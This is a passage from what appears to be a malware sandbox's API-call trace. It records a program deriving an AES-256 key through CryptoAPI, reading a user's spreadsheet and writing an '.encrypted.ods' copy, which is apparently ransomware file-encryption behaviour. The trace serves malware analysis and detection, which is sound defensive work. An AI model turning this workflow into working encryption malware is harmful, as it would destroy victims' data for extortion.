wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.624] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.624] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.624] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.624] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.624] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.625] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.625] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b6f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.625] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.625] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.625] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.625] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.625] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.625] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.625] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0024.626] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.627] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.ods" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\bftnn-lfcqrk6y3v.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.627] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.627] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.627] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.628] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai")) returned 0x10 [0024.628] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\bftnn-lfcqrk6y3v.encrypted.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.628] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.628] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.628] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.628] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.630] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.630] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xb241, lpOverlapped=0x0) returned 1 [0024.631] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.633] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.633] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.633] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.633] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.634] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.634] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.634] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.635] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.635] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.635] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.635] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.635] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.636] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.636] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f40649b0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649b0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.636] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.636] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.636] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.636] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.636] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.637] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.637] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xb241, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xb250) returned 1 [0024.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.637] CharLowerBuffW (in: lpsz="byte[45649]", cchLength=0xb | out: lpsz="byte[45649]") returned 0xb [0024.637] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.638] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.638] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.638] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41e20c0*, pdwDataLen=0xe8f3dfdf68*=0xb241, dwBufLen=0xb250 | out: pbData=0xe8f41e20c0*, pdwDataLen=0xe8f3dfdf68*=0xb250) returned 1 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.638] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.638] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.638] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.638] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.642] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.642] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.642] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.643] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.643] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.643] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.643] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.643] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.643] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.643] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.643] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0024.643] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.643] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.643] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.643] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.644] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.644] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.644] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 